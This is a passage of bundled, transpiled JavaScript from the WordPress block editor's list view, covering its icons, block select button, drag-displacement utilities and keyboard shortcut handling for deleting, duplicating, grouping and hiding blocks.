53836var pin_small_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M10.97 10.159a3.382 3.382 0 0 0-2.857.955l1.724 1.723-2.836 2.913L7 17h1.25l2.913-2.837 1.723 1.723a3.38 3.38 0 0 0 .606-.825c.33-.63.446-1.343.35-2.032L17 10.695 13.305 7l-2.334 3.159Z" }) });
53837
53838
53839;// ./node_modules/@wordpress/icons/build-module/library/lock-small.js
53840
53841
53842var lock_small_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53843 external_wp_primitives_namespaceObject.Path,
53844 {
53845 fillRule: "evenodd",
53846 clipRule: "evenodd",
53847 d: "M15 11h-.2V9c0-1.5-1.2-2.8-2.8-2.8S9.2 7.5 9.2 9v2H9c-.6 0-1 .4-1 1v4c0 .6.4 1 1 1h6c.6 0 1-.4 1-1v-4c0-.6-.4-1-1-1zm-1.8 0h-2.5V9c0-.7.6-1.2 1.2-1.2s1.2.6 1.2 1.2v2z"
53848 }
53849) });
53850
53851
53852;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/expander.js
53853
53854
53855
53856function ListViewExpander({ onClick }) {
53857 return (
53858 // Keyboard events are handled by TreeGrid see: components/src/tree-grid/index.js
53859 //
53860 // The expander component is implemented as a pseudo element in the w3 example
53861 // https://www.w3.org/TR/wai-aria-practices/examples/treegrid/treegrid-1.html
53862 //
53863 // We've mimicked this by adding an icon with aria-hidden set to true to hide this from the accessibility tree.
53864 // For the current tree grid implementation, please do not try to make this a button.
53865 //
53866 // eslint-disable-next-line jsx-a11y/click-events-have-key-events,jsx-a11y/no-static-element-interactions
53867 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53868 "span",
53869 {
53870 className: "block-editor-list-view__expander",
53871 onClick: (event) => onClick(event, { forceToggle: true }),
53872 "aria-hidden": "true",
53873 "data-testid": "list-view-expander",
53874 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left_small_default : chevron_right_small_default })
53875 }
53876 )
53877 );
53878}
53879
53880
53881;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/use-list-view-images.js
53882
53883
53884
53885const MAX_IMAGES = 3;
53886const IMAGE_GETTERS = {
53887 "core/image": ({ clientId, attributes }) => {
53888 if (attributes.url) {
53889 return {
53890 url: attributes.url,
53891 alt: attributes.alt || "",
53892 clientId
53893 };
53894 }
53895 },
53896 "core/cover": ({ clientId, attributes }) => {
53897 if (attributes.backgroundType === "image" && attributes.url) {
53898 return {
53899 url: attributes.url,
53900 alt: attributes.alt || "",
53901 clientId
53902 };
53903 }
53904 },
53905 "core/media-text": ({ clientId, attributes }) => {
53906 if (attributes.mediaType === "image" && attributes.mediaUrl) {
53907 return {
53908 url: attributes.mediaUrl,
53909 alt: attributes.mediaAlt || "",
53910 clientId
53911 };
53912 }
53913 },
53914 "core/gallery": ({ innerBlocks }) => {
53915 const images = [];
53916 const getValues = !!innerBlocks?.length ? IMAGE_GETTERS[innerBlocks[0].name] : void 0;
53917 if (!getValues) {
53918 return images;
53919 }
53920 for (const innerBlock of innerBlocks) {
53921 const img = getValues(innerBlock);
53922 if (img) {
53923 images.push(img);
53924 }
53925 if (images.length >= MAX_IMAGES) {
53926 return images;
53927 }
53928 }
53929 return images;
53930 }
53931};
53932function getImagesFromBlock(block, isExpanded) {
53933 const getImages = IMAGE_GETTERS[block.name];
53934 const images = !!getImages ? getImages(block) : void 0;
53935 if (!images) {
53936 return [];
53937 }
53938 if (!Array.isArray(images)) {
53939 return [images];
53940 }
53941 return isExpanded ? [] : images;
53942}
53943function useListViewImages({ clientId, isExpanded }) {
53944 const { block } = (0,external_wp_data_namespaceObject.useSelect)(
53945 (select) => {
53946 return { block: select(store).getBlock(clientId) };
53947 },
53948 [clientId]
53949 );
53950 const images = (0,external_wp_element_namespaceObject.useMemo)(() => {
53951 return getImagesFromBlock(block, isExpanded);
53952 }, [block, isExpanded]);
53953 return images;
53954}
53955
53956
53957;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/block-select-button.js
53958
53959
53960
53961
53962
53963
53964
53965
53966
53967
53968
53969
53970
53971
53972
53973
53974const { Badge: block_select_button_Badge } = unlock(external_wp_components_namespaceObject.privateApis);
53975function ListViewBlockSelectButton({
53976 className,
53977 block: { clientId },
53978 onClick,
53979 onContextMenu,
53980 onMouseDown,
53981 onToggleExpanded,
53982 tabIndex,
53983 onFocus,
53984 onDragStart,
53985 onDragEnd,
53986 draggable,
53987 isExpanded,
53988 ariaDescribedBy
53989}, ref) {
53990 const blockInformation = useBlockDisplayInformation(clientId);
53991 const blockTitle = useBlockDisplayTitle({
53992 clientId,
53993 context: "list-view"
53994 });
53995 const { isLocked } = useBlockLock(clientId);
53996 const { canToggleBlockVisibility, isBlockHidden, isContentOnly } = (0,external_wp_data_namespaceObject.useSelect)(
53997 (select) => {
53998 const { getBlockName } = select(store);
53999 const { isBlockHidden: _isBlockHidden } = unlock(
54000 select(store)
54001 );
54002 return {
54003 canToggleBlockVisibility: (0,external_wp_blocks_namespaceObject.hasBlockSupport)(
54004 getBlockName(clientId),
54005 "visibility",
54006 true
54007 ),
54008 isBlockHidden: _isBlockHidden(clientId),
54009 isContentOnly: select(store).getBlockEditingMode(
54010 clientId
54011 ) === "contentOnly"
54012 };
54013 },
54014 [clientId]
54015 );
54016 const shouldShowLockIcon = isLocked && !isContentOnly;
54017 const shouldShowBlockVisibilityIcon = canToggleBlockVisibility && isBlockHidden;
54018 const isSticky = blockInformation?.positionType === "sticky";
54019 const images = useListViewImages({ clientId, isExpanded });
54020 const onDragStartHandler = (event) => {
54021 event.dataTransfer.clearData();
54022 onDragStart?.(event);
54023 };
54024 function onKeyDown(event) {
54025 if (event.keyCode === external_wp_keycodes_namespaceObject.ENTER || event.keyCode === external_wp_keycodes_namespaceObject.SPACE) {
54026 onClick(event);
54027 }
54028 }
54029 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
54030 "a",
54031 {
54032 className: dist_clsx(
54033 "block-editor-list-view-block-select-button",
54034 className
54035 ),
54036 onClick,
54037 onContextMenu,
54038 onKeyDown,
54039 onMouseDown,
54040 ref,
54041 tabIndex,
54042 onFocus,
54043 onDragStart: onDragStartHandler,
54044 onDragEnd,
54045 draggable,
54046 href: `#block-${clientId}`,
54047 "aria-describedby": ariaDescribedBy,
54048 "aria-expanded": isExpanded,
54049 children: [
54050 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ListViewExpander, { onClick: onToggleExpanded }),
54051 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54052 block_icon_default,
54053 {
54054 icon: blockInformation?.icon,
54055 showColors: true,
54056 context: "list-view"
54057 }
54058 ),
54059 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
54060 external_wp_components_namespaceObject.__experimentalHStack,
54061 {
54062 alignment: "center",
54063 className: "block-editor-list-view-block-select-button__label-wrapper",
54064 justify: "flex-start",
54065 spacing: 1,
54066 children: [
54067 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-editor-list-view-block-select-button__title", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalTruncate, { ellipsizeMode: "auto", children: blockTitle }) }),
54068 blockInformation?.anchor && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-editor-list-view-block-select-button__anchor-wrapper", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_select_button_Badge, { className: "block-editor-list-view-block-select-button__anchor", children: blockInformation.anchor }) }),
54069 isSticky && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-editor-list-view-block-select-button__sticky", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: pin_small_default }) }),
54070 images.length ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54071 "span",
54072 {
54073 className: "block-editor-list-view-block-select-button__images",
54074 "aria-hidden": true,
54075 children: images.map((image, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54076 "span",
54077 {
54078 className: "block-editor-list-view-block-select-button__image",
54079 style: {
54080 backgroundImage: `url(${image.url})`,
54081 zIndex: images.length - index
54082 // Ensure the first image is on top, and subsequent images are behind.
54083 }
54084 },
54085 image.clientId
54086 ))
54087 }
54088 ) : null,
54089 shouldShowBlockVisibilityIcon && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-editor-list-view-block-select-button__block-visibility", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: unseen_default }) }),
54090 shouldShowLockIcon && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-editor-list-view-block-select-button__lock", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: lock_small_default }) })
54091 ]
54092 }
54093 )
54094 ]
54095 }
54096 );
54097}
54098var block_select_button_default = (0,external_wp_element_namespaceObject.forwardRef)(ListViewBlockSelectButton);
54099
54100
54101;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/block-contents.js
54102
54103
54104
54105
54106
54107const ListViewBlockContents = (0,external_wp_element_namespaceObject.forwardRef)(
54108 ({
54109 onClick,
54110 onToggleExpanded,
54111 block,
54112 isSelected,
54113 position,
54114 siblingBlockCount,
54115 level,
54116 isExpanded,
54117 selectedClientIds,
54118 ...props
54119 }, ref) => {
54120 const { clientId } = block;
54121 const { AdditionalBlockContent, insertedBlock, setInsertedBlock } = useListViewContext();
54122 const draggableClientIds = selectedClientIds.includes(clientId) ? selectedClientIds : [clientId];
54123 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
54124 AdditionalBlockContent && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54125 AdditionalBlockContent,
54126 {
54127 block,
54128 insertedBlock,
54129 setInsertedBlock
54130 }
54131 ),
54132 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54133 block_draggable_default,
54134 {
54135 appendToOwnerDocument: true,
54136 clientIds: draggableClientIds,
54137 cloneClassname: "block-editor-list-view-draggable-chip",
54138 children: ({ draggable, onDragStart, onDragEnd }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54139 block_select_button_default,
54140 {
54141 ref,
54142 className: "block-editor-list-view-block-contents",
54143 block,
54144 onClick,
54145 onToggleExpanded,
54146 isSelected,
54147 position,
54148 siblingBlockCount,
54149 level,
54150 draggable,
54151 onDragStart,
54152 onDragEnd,
54153 isExpanded,
54154 ...props
54155 }
54156 )
54157 }
54158 )
54159 ] });
54160 }
54161);
54162var block_contents_default = ListViewBlockContents;
54163
54164
54165;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/utils.js
54166
54167
54168const getBlockPositionDescription = (position, siblingCount, level) => (0,external_wp_i18n_namespaceObject.sprintf)(
54169 /* translators: 1: The numerical position of the block. 2: The total number of blocks. 3. The level of nesting for the block. */
54170 (0,external_wp_i18n_namespaceObject.__)("Block %1$d of %2$d, Level %3$d."),
54171 position,
54172 siblingCount,
54173 level
54174);
54175const getBlockPropertiesDescription = (blockInformation, isLocked) => [
54176 blockInformation?.positionLabel ? `${(0,external_wp_i18n_namespaceObject.sprintf)(
54177 // translators: %s: Position of selected block, e.g. "Sticky" or "Fixed".
54178 (0,external_wp_i18n_namespaceObject.__)("Position: %s"),
54179 blockInformation.positionLabel
54180 )}.` : void 0,
54181 isLocked ? (0,external_wp_i18n_namespaceObject.__)("This block is locked.") : void 0
54182].filter(Boolean).join(" ");
54183const isClientIdSelected = (clientId, selectedBlockClientIds) => Array.isArray(selectedBlockClientIds) && selectedBlockClientIds.length ? selectedBlockClientIds.indexOf(clientId) !== -1 : selectedBlockClientIds === clientId;
54184function getCommonDepthClientIds(startId, endId, startParents, endParents) {
54185 const startPath = [...startParents, startId];
54186 const endPath = [...endParents, endId];
54187 const depth = Math.min(startPath.length, endPath.length) - 1;
54188 const start = startPath[depth];
54189 const end = endPath[depth];
54190 return {
54191 start,
54192 end
54193 };
54194}
54195function focusListItem(focusClientId, treeGridElement) {
54196 const getFocusElement = () => {
54197 const row = treeGridElement?.querySelector(
54198 `[role=row][data-block="${focusClientId}"]`
54199 );
54200 if (!row) {
54201 return null;
54202 }
54203 return external_wp_dom_namespaceObject.focus.focusable.find(row)[0];
54204 };
54205 let focusElement = getFocusElement();
54206 if (focusElement) {
54207 focusElement.focus();
54208 } else {
54209 window.requestAnimationFrame(() => {
54210 focusElement = getFocusElement();
54211 if (focusElement) {
54212 focusElement.focus();
54213 }
54214 });
54215 }
54216}
54217function getDragDisplacementValues({
54218 blockIndexes,
54219 blockDropTargetIndex,
54220 blockDropPosition,
54221 clientId,
54222 firstDraggedBlockIndex,
54223 isDragged
54224}) {
54225 let displacement;
54226 let isNesting;
54227 let isAfterDraggedBlocks;
54228 if (!isDragged) {
54229 isNesting = false;
54230 const thisBlockIndex = blockIndexes[clientId];
54231 isAfterDraggedBlocks = thisBlockIndex > firstDraggedBlockIndex;
54232 if (blockDropTargetIndex !== void 0 && blockDropTargetIndex !== null && firstDraggedBlockIndex !== void 0) {
54233 if (thisBlockIndex !== void 0) {
54234 if (thisBlockIndex >= firstDraggedBlockIndex && thisBlockIndex < blockDropTargetIndex) {
54235 displacement = "up";
54236 } else if (thisBlockIndex < firstDraggedBlockIndex && thisBlockIndex >= blockDropTargetIndex) {
54237 displacement = "down";
54238 } else {
54239 displacement = "normal";
54240 }
54241 isNesting = typeof blockDropTargetIndex === "number" && blockDropTargetIndex - 1 === thisBlockIndex && blockDropPosition === "inside";
54242 }
54243 } else if (blockDropTargetIndex === null && firstDraggedBlockIndex !== void 0) {
54244 if (thisBlockIndex !== void 0 && thisBlockIndex >= firstDraggedBlockIndex) {
54245 displacement = "up";
54246 } else {
54247 displacement = "normal";
54248 }
54249 } else if (blockDropTargetIndex !== void 0 && blockDropTargetIndex !== null && firstDraggedBlockIndex === void 0) {
54250 if (thisBlockIndex !== void 0) {
54251 if (thisBlockIndex < blockDropTargetIndex) {
54252 displacement = "normal";
54253 } else {
54254 displacement = "down";
54255 }
54256 }
54257 } else if (blockDropTargetIndex === null) {
54258 displacement = "normal";
54259 }
54260 }
54261 return {
54262 displacement,
54263 isNesting,
54264 isAfterDraggedBlocks
54265 };
54266}
54267
54268
54269;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/block.js
54270
54271
54272
54273
54274
54275
54276
54277
54278
54279
54280
54281
54282
54283
54284
54285
54286
54287
54288
54289
54290
54291
54292
54293
54294
54295
54296function ListViewBlock({
54297 block: { clientId },
54298 displacement,
54299 isAfterDraggedBlocks,
54300 isDragged,
54301 isNesting,
54302 isSelected,
54303 isBranchSelected,
54304 selectBlock,
54305 position,
54306 level,
54307 rowCount,
54308 siblingBlockCount,
54309 showBlockMovers,
54310 path,
54311 isExpanded,
54312 selectedClientIds,
54313 isSyncedBranch
54314}) {
54315 const cellRef = (0,external_wp_element_namespaceObject.useRef)(null);
54316 const rowRef = (0,external_wp_element_namespaceObject.useRef)(null);
54317 const settingsRef = (0,external_wp_element_namespaceObject.useRef)(null);
54318 const [isHovered, setIsHovered] = (0,external_wp_element_namespaceObject.useState)(false);
54319 const [settingsAnchorRect, setSettingsAnchorRect] = (0,external_wp_element_namespaceObject.useState)();
54320 const { isLocked, canEdit, canMove } = useBlockLock(clientId);
54321 const isFirstSelectedBlock = isSelected && selectedClientIds[0] === clientId;
54322 const isLastSelectedBlock = isSelected && selectedClientIds[selectedClientIds.length - 1] === clientId;
54323 const {
54324 toggleBlockHighlight,
54325 duplicateBlocks,
54326 multiSelect,
54327 replaceBlocks,
54328 removeBlocks,
54329 insertAfterBlock,
54330 insertBeforeBlock,
54331 setOpenedBlockSettingsMenu,
54332 updateBlockAttributes
54333 } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
54334 const debouncedToggleBlockHighlight = (0,external_wp_compose_namespaceObject.useDebounce)(
54335 toggleBlockHighlight,
54336 50
54337 );
54338 const {
54339 canInsertBlockType,
54340 getSelectedBlockClientIds,
54341 getPreviousBlockClientId,
54342 getBlockRootClientId,
54343 getBlockOrder,
54344 getBlockParents,
54345 getBlocksByClientId,
54346 canRemoveBlocks,
54347 isGroupable
54348 } = (0,external_wp_data_namespaceObject.useSelect)(store);
54349 const { getGroupingBlockName } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blocks_namespaceObject.store);
54350 const blockInformation = useBlockDisplayInformation(clientId);
54351 const pasteStyles = usePasteStyles();
54352 const { block, blockName, allowRightClickOverrides, isBlockHidden } = (0,external_wp_data_namespaceObject.useSelect)(
54353 (select) => {
54354 const { getBlock, getBlockName, getSettings } = select(store);
54355 const { isBlockHidden: _isBlockHidden } = unlock(
54356 select(store)
54357 );
54358 return {
54359 block: getBlock(clientId),
54360 blockName: getBlockName(clientId),
54361 allowRightClickOverrides: getSettings().allowRightClickOverrides,
54362 isBlockHidden: _isBlockHidden(clientId)
54363 };
54364 },
54365 [clientId]
54366 );
54367 const showBlockActions = (
54368 // When a block hides its toolbar it also hides the block settings menu,
54369 // since that menu is part of the toolbar in the editor canvas.
54370 // List View respects this by also hiding the block settings menu.
54371 (0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockName, "__experimentalToolbar", true)
54372 );
54373 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(ListViewBlock);
54374 const descriptionId = `list-view-block-select-button__description-${instanceId}`;
54375 const {
54376 expand,
54377 collapse,
54378 collapseAll,
54379 BlockSettingsMenu,
54380 listViewInstanceId,
54381 expandedState,
54382 setInsertedBlock,
54383 treeGridElementRef,
54384 rootClientId
54385 } = useListViewContext();
54386 const isMatch = (0,external_wp_keyboardShortcuts_namespaceObject.__unstableUseShortcutEventMatch)();
54387 function getBlocksToUpdate() {
54388 const selectedBlockClientIds = getSelectedBlockClientIds();
54389 const isUpdatingSelectedBlocks = selectedBlockClientIds.includes(clientId);
54390 const firstBlockClientId = isUpdatingSelectedBlocks ? selectedBlockClientIds[0] : clientId;
54391 const firstBlockRootClientId = getBlockRootClientId(firstBlockClientId);
54392 const blocksToUpdate = isUpdatingSelectedBlocks ? selectedBlockClientIds : [clientId];
54393 return {
54394 blocksToUpdate,
54395 firstBlockClientId,
54396 firstBlockRootClientId,
54397 selectedBlockClientIds
54398 };
54399 }
54400 async function onKeyDown(event) {
54401 if (event.defaultPrevented) {
54402 return;
54403 }
54404 if (event.target.closest("[role=dialog]")) {
54405 return;
54406 }
54407 const isDeleteKey = [external_wp_keycodes_namespaceObject.BACKSPACE, external_wp_keycodes_namespaceObject.DELETE].includes(event.keyCode);
54408 if (isMatch("core/block-editor/unselect", event) && selectedClientIds.length > 0) {
54409 event.stopPropagation();
54410 event.preventDefault();
54411 selectBlock(event, void 0);
54412 } else if (isDeleteKey || isMatch("core/block-editor/remove", event)) {
54413 const {
54414 blocksToUpdate: blocksToDelete,
54415 firstBlockClientId,
54416 firstBlockRootClientId,
54417 selectedBlockClientIds
54418 } = getBlocksToUpdate();
54419 if (!canRemoveBlocks(blocksToDelete)) {
54420 return;
54421 }
54422 let blockToFocus = getPreviousBlockClientId(firstBlockClientId) ?? // If the previous block is not found (when the first block is deleted),
54423 // fallback to focus the parent block.
54424 firstBlockRootClientId;
54425 removeBlocks(blocksToDelete, false);
54426 const shouldUpdateSelection = selectedBlockClientIds.length > 0 && getSelectedBlockClientIds().length === 0;
54427 if (!blockToFocus) {
54428 blockToFocus = getBlockOrder()[0];
54429 }
54430 updateFocusAndSelection(blockToFocus, shouldUpdateSelection);
54431 } else if (isMatch("core/block-editor/paste-styles", event)) {
54432 event.preventDefault();
54433 const { blocksToUpdate } = getBlocksToUpdate();
54434 const blocks = getBlocksByClientId(blocksToUpdate);
54435 pasteStyles(blocks);
54436 } else if (isMatch("core/block-editor/duplicate", event)) {
54437 event.preventDefault();
54438 const { blocksToUpdate, firstBlockRootClientId } = getBlocksToUpdate();
54439 const canDuplicate = getBlocksByClientId(blocksToUpdate).every(
54440 (blockToUpdate) => {
54441 return !!blockToUpdate && (0,external_wp_blocks_namespaceObject.hasBlockSupport)(
54442 blockToUpdate.name,
54443 "multiple",
54444 true
54445 ) && canInsertBlockType(
54446 blockToUpdate.name,
54447 firstBlockRootClientId
54448 );
54449 }
54450 );
54451 if (canDuplicate) {
54452 const updatedBlocks = await duplicateBlocks(
54453 blocksToUpdate,
54454 false
54455 );
54456 if (updatedBlocks?.length) {
54457 updateFocusAndSelection(updatedBlocks[0], false);
54458 }
54459 }
54460 } else if (isMatch("core/block-editor/insert-before", event)) {
54461 event.preventDefault();
54462 const { blocksToUpdate } = getBlocksToUpdate();
54463 await insertBeforeBlock(blocksToUpdate[0]);
54464 const newlySelectedBlocks = getSelectedBlockClientIds();
54465 setOpenedBlockSettingsMenu(void 0);
54466 updateFocusAndSelection(newlySelectedBlocks[0], false);
54467 } else if (isMatch("core/block-editor/insert-after", event)) {
54468 event.preventDefault();
54469 const { blocksToUpdate } = getBlocksToUpdate();
54470 await insertAfterBlock(blocksToUpdate.at(-1));
54471 const newlySelectedBlocks = getSelectedBlockClientIds();
54472 setOpenedBlockSettingsMenu(void 0);
54473 updateFocusAndSelection(newlySelectedBlocks[0], false);
54474 } else if (isMatch("core/block-editor/select-all", event)) {
54475 event.preventDefault();
54476 const { firstBlockRootClientId, selectedBlockClientIds } = getBlocksToUpdate();
54477 const blockClientIds = getBlockOrder(firstBlockRootClientId);
54478 if (!blockClientIds.length) {
54479 return;
54480 }
54481 if (external_wp_isShallowEqual_default()(selectedBlockClientIds, blockClientIds)) {
54482 if (firstBlockRootClientId && firstBlockRootClientId !== rootClientId) {
54483 updateFocusAndSelection(firstBlockRootClientId, true);
54484 return;
54485 }
54486 }
54487 multiSelect(
54488 blockClientIds[0],
54489 blockClientIds[blockClientIds.length - 1],
54490 null
54491 );
54492 } else if (isMatch("core/block-editor/collapse-list-view", event)) {
54493 event.preventDefault();
54494 const { firstBlockClientId } = getBlocksToUpdate();
54495 const blockParents = getBlockParents(firstBlockClientId, false);
54496 collapseAll();
54497 expand(blockParents);
54498 } else if (isMatch("core/block-editor/group", event)) {
54499 const { blocksToUpdate } = getBlocksToUpdate();
54500 if (blocksToUpdate.length > 1 && isGroupable(blocksToUpdate)) {
54501 event.preventDefault();
54502 const blocks = getBlocksByClientId(blocksToUpdate);
54503 const groupingBlockName = getGroupingBlockName();
54504 const newBlocks = (0,external_wp_blocks_namespaceObject.switchToBlockType)(
54505 blocks,
54506 groupingBlockName
54507 );
54508 replaceBlocks(blocksToUpdate, newBlocks);
54509 (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.__)("Selected blocks are grouped."));
54510 const newlySelectedBlocks = getSelectedBlockClientIds();
54511 setOpenedBlockSettingsMenu(void 0);
54512 updateFocusAndSelection(newlySelectedBlocks[0], false);
54513 }
54514 } else if (isMatch("core/block-editor/toggle-block-visibility", event)) {
54515 event.preventDefault();
54516 const { blocksToUpdate } = getBlocksToUpdate();
54517 const blocks = getBlocksByClientId(blocksToUpdate);
54518 const canToggleVisibility = blocks.every(
54519 (blockToUpdate) => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockToUpdate.name, "visibility", true)
54520 );
54521 if (!canToggleVisibility) {
54522 return;
54523 }
54524 const hasHiddenBlock = blocks.some(
54525 (blockToUpdate) => blockToUpdate.attributes.metadata?.blockVisibility === false
54526 );
54527 const attributesByClientId = Object.fromEntries(
54528 blocks.map(({ clientId: mapClientId, attributes }) => [
54529 mapClientId,
54530 {
54531 metadata: utils_cleanEmptyObject({
54532 ...attributes?.metadata,
54533 blockVisibility: hasHiddenBlock ? void 0 : false
54534 })
54535 }
54536 ])
54537 );
54538 updateBlockAttributes(blocksToUpdate, attributesByClientId, {
54539 uniqueByBlock: true
54540 });
54541 }
54542 }
54543 const onMouseEnter = (0,external_wp_element_namespaceObject.useCallback)(() => {
54544 setIsHovered(true);
54545 debouncedToggleBlockHighlight(clientId, true);
54546 }, [clientId, setIsHovered, debouncedToggleBlockHighlight]);
54547 const onMouseLeave = (0,external_wp_element_namespaceObject.useCallback)(() => {
54548 setIsHovered(false);
54549 debouncedToggleBlockHighlight(clientId, false);
54550 }, [clientId, setIsHovered, debouncedToggleBlockHighlight]);
54551 const selectEditorBlock = (0,external_wp_element_namespaceObject.useCallback)(
54552 (event) => {
54553 selectBlock(event, clientId);
54554 event.preventDefault();
54555 },
54556 [clientId, selectBlock]
54557 );
54558 const updateFocusAndSelection = (0,external_wp_element_namespaceObject.useCallback)(
54559 (focusClientId, shouldSelectBlock) => {
54560 if (shouldSelectBlock) {
54561 selectBlock(void 0, focusClientId, null, null);
54562 }
54563 focusListItem(focusClientId, treeGridElementRef?.current);
54564 },
54565 [selectBlock, treeGridElementRef]
54566 );
54567 const toggleExpanded = (0,external_wp_element_namespaceObject.useCallback)(
54568 (event) => {
54569 event.preventDefault();
54570 event.stopPropagation();
54571 if (isExpanded === true) {
54572 collapse(clientId);
54573 } else if (isExpanded === false) {
54574 expand(clientId);
54575 }
54576 },
54577 [clientId, expand, collapse, isExpanded]
54578 );
54579 const onContextMenu = (0,external_wp_element_namespaceObject.useCallback)(
54580 (event) => {
54581 if (showBlockActions && allowRightClickOverrides) {
54582 settingsRef.current?.click();
54583 setSettingsAnchorRect(
54584 new window.DOMRect(event.clientX, event.clientY, 0, 0)
54585 );
54586 event.preventDefault();
54587 }
54588 },
54589 [allowRightClickOverrides, settingsRef, showBlockActions]
54590 );
54591 const onMouseDown = (0,external_wp_element_namespaceObject.useCallback)(
54592 (event) => {
54593 if (allowRightClickOverrides && event.button === 2) {
54594 event.preventDefault();
54595 }
54596 },
54597 [allowRightClickOverrides]
54598 );
54599 const settingsPopoverAnchor = (0,external_wp_element_namespaceObject.useMemo)(() => {
54600 const { ownerDocument } = rowRef?.current || {};
54601 if (!settingsAnchorRect || !ownerDocument) {
54602 return void 0;
54603 }
54604 return {
54605 ownerDocument,
54606 getBoundingClientRect() {
54607 return settingsAnchorRect;
54608 }
54609 };
54610 }, [settingsAnchorRect]);
54611 const clearSettingsAnchorRect = (0,external_wp_element_namespaceObject.useCallback)(() => {
54612 setSettingsAnchorRect(void 0);
54613 }, [setSettingsAnchorRect]);
54614 useListViewScrollIntoView({
54615 isSelected,
54616 rowItemRef: rowRef,
54617 selectedClientIds
54618 });
54619 if (!block) {
54620 return null;
54621 }
54622 const blockPositionDescription = getBlockPositionDescription(
54623 position,
54624 siblingBlockCount,
54625 level
54626 );
54627 const blockPropertiesDescription = getBlockPropertiesDescription(
54628 blockInformation,
54629 isLocked
54630 );
54631 const blockVisibilityDescription = isBlockHidden ? (0,external_wp_i18n_namespaceObject.__)("Block is hidden.") : null;
54632 const hasSiblings = siblingBlockCount > 0;
54633 const hasRenderedMovers = showBlockMovers && hasSiblings;
54634 const moverCellClassName = dist_clsx(
54635 "block-editor-list-view-block__mover-cell",
54636 { "is-visible": isHovered || isSelected }
54637 );
54638 const listViewBlockSettingsClassName = dist_clsx(
54639 "block-editor-list-view-block__menu-cell",
54640 { "is-visible": isHovered || isFirstSelectedBlock }
54641 );
54642 let colSpan;
54643 if (hasRenderedMovers) {
54644 colSpan = 2;
54645 } else if (!showBlockActions) {
54646 colSpan = 3;
54647 }
54648 const classes = dist_clsx({
54649 "is-selected": isSelected,
54650 "is-first-selected": isFirstSelectedBlock,
54651 "is-last-selected": isLastSelectedBlock,
54652 "is-branch-selected": isBranchSelected,
54653 "is-synced-branch": isSyncedBranch,
54654 "is-dragging": isDragged,
54655 "has-single-cell": !showBlockActions,
54656 "is-synced": blockInformation?.isSynced,
54657 "is-draggable": canMove,
54658 "is-displacement-normal": displacement === "normal",
54659 "is-displacement-up": displacement === "up",
54660 "is-displacement-down": displacement === "down",
54661 "is-after-dragged-blocks": isAfterDraggedBlocks,
54662 "is-nesting": isNesting
54663 });
54664 const dropdownClientIds = selectedClientIds.includes(clientId) ? selectedClientIds : [clientId];
54665 const currentlyEditingBlockInCanvas = isSelected && selectedClientIds.length === 1;
54666 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
54667 leaf_default,
54668 {
54669 className: classes,
54670 isDragged,
54671 onKeyDown,
54672 onMouseEnter,
54673 onMouseLeave,
54674 onFocus: onMouseEnter,
54675 onBlur: onMouseLeave,
54676 level,
54677 position,
54678 rowCount,
54679 path,
54680 id: `list-view-${listViewInstanceId}-block-${clientId}`,
54681 "data-block": clientId,
54682 "data-expanded": canEdit ? isExpanded : void 0,
54683 ref: rowRef,
54684 children: [
54685 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54686 external_wp_components_namespaceObject.__experimentalTreeGridCell,
54687 {
